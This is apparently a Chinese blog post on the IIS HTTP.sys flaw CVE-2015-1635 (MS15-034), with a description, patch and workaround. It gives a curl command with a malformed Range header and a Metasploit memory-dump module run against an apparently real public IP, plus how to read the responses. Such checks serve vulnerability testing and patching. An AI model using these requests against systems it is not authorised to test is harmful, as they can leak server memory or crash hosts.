1.HTTP.SYS远程代码执行漏洞简介
首先漏洞编号:CVE-2015-1635(MS15-034 )
远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。
利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。
主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。
2.漏洞分析:
https://mp.weixin.qq.com/s/ZdRu_smJ0IW-dVVb9YB6UQ
3.漏洞验证:
3-1通过curl命令实现
curl -v IP -H "Host:irrelevant" -H "Range: bytes=0-18446744073709551615"
3-2 使用MSF中palyload进行测试
msf > use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
msf auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set rhosts 218.94.138.251
rhosts => 218.94.138.251
msf auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > run
[+] Target may be vulnerable... #验证存在
[+] Stand by...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
如果服务器打上了补丁,那么响应状态应该是:
- HTTP Error 400. The request has an invalid header name.
如果服务器存在HTTP.SYS远程代码执行漏洞,那么响应状态应该是:
- HTTP/1.1 416 Requested Range Not Satisfiable
4.漏洞防御
官方补丁下载:https://support.microsoft.com/zh-cn/kb/3042553
临时解决办法:
* 禁用IIS内核缓存
参考文章:
http://www.tiaozhanziwo.com/archives/765.html
https://www.greatidc.com/news/189.html